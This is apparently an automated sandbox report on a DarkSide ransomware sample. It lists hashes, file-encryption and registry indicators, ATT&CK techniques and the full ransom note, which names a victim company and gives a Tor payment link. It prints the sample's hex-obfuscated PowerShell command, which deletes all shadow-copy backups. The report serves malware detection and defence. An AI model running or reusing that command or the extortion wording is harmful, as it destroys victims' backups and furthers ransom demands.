89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
121s
max time network
125s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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General

Target

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

Modifies extensions of user files 16 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\MoveUnregister.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\SearchInstall.tiff	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\SkipConfirm.png => C:\Users\Admin\Pictures\SkipConfirm.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\DebugUpdate.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\DebugUpdate.png => C:\Users\Admin\Pictures\DebugUpdate.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\MeasureWait.raw => C:\Users\Admin\Pictures\MeasureWait.raw.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureWait.raw.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\SearchInstall.tiff => C:\Users\Admin\Pictures\SearchInstall.tiff.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\SkipConfirm.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\BlockComplete.tiff => C:\Users\Admin\Pictures\BlockComplete.tiff.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\PushRequest.png => C:\Users\Admin\Pictures\PushRequest.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\PushRequest.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\SearchInstall.tiff.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\BlockComplete.tiff	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\MoveUnregister.png => C:\Users\Admin\Pictures\MoveUnregister.png.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\BlockComplete.tiff.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies registry class 5 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

pid	process
2348	powershell.exe
2348	powershell.exe
2348	powershell.exe
2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSecurityPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeTakeOwnershipPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeLoadDriverPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemProfilePrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemtimePrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeProfSingleProcessPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeIncBasePriorityPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeCreatePagefilePrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeBackupPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRestorePrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeShutdownPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemEnvironmentPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRemoteShutdownPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeUndockPrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeManageVolumePrivilege	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 33	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 34	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 35	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 36	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	pid	process	target process
PID 2256 wrote to memory of 2348	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe
PID 2256 wrote to memory of 2348	2256	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
"C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
adcdcdf7d5a712b46bbc18e1822ae688

SHA1
4911ecf23551f7a0aa9804edb1da4a8adcf24312

SHA256
10858ee1d822f0dcd6470f45e798e8a523df79223dcdb0b730f299678637bdaa

SHA512
e072dbb3afdc8253fdc971a1d17a2e521c62aa5a98464c7b9c5fbfccad13194e2723284c2e3479e027fde9a03fd0af6a2d7d03d5fe74a21a62c1315524c06c09

Download Submit
memory/2348-117-0x0000000000000000-mapping.dmp

Download
memory/2348-122-0x0000027099240000-0x0000027099242000-memory.dmp

Filesize
8KB

Download
memory/2348-124-0x0000027099243000-0x0000027099245000-memory.dmp

Filesize
8KB

Download
memory/2348-123-0x0000027099250000-0x0000027099251000-memory.dmp

Filesize
4KB

Download
memory/2348-127-0x00000270B1EF0000-0x00000270B1EF1000-memory.dmp

Filesize
4KB

Download
memory/2348-136-0x0000027099246000-0x0000027099248000-memory.dmp

Filesize
8KB

Download